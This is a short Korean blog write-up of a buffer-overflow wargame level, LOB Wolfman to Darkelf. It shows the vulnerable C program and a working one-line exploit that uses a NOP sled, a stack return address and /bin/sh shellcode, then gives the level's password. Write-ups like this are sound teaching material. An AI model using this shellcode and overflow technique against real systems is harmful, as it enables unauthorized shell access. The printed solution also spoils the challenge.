thumbnail
cd ..
root@blog:~/posts/ 202210

FTZ LOB LEVEL 6

#KOR#pwn
2022.10.16.

0. 들어가기 전에

이번 문제도 전 문제들과 크게 다르지 않았다.

1. Level 6 : Wolfman -> Darkelf

소스코드를 확인해보자.

#include <stdio.h>
#include <stdlib.h>

extern char **environ;

main(int argc, char *argv[]){
        char buffer[40];
        int i;
        if(argc < 2){
                printf("argv error\n");
                exit(0);
        }

        // egghunter
        for(i=0; environ[i]; i++)
                memset(environ[i], 0, strlen(environ[i]));

        if(argv[1][47] != '\xbf')

        {
                printf("stack is still your friend.\n");

                exit(0);
        }

        // check the length of argument
        if(strlen(argv[1]) > 48){

                printf("argument is too long!\n");

                exit(0);
        }
        strcpy(buffer, argv[1]);

        printf("%s\n", buffer);

        // buffer hunter
        memset(buffer, 0, 40);
}

입력의 길이가 48을 넘으면 안된다! 하지만 gdb로 까보니 어차피 버퍼의 생성이 -44에서 끝나고 더미 데이터가 없기 때문에 의미가 없다.

저번 문제와 동일하게 NOP SLED로 풀이한다.

`python -c 'print "\x90"*44+"\x40\xfc\xff\xbf"'` `python -c 'print "\x90"*20+"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80"'`

비밀번호 : kernel crashed


Source

[ comments ]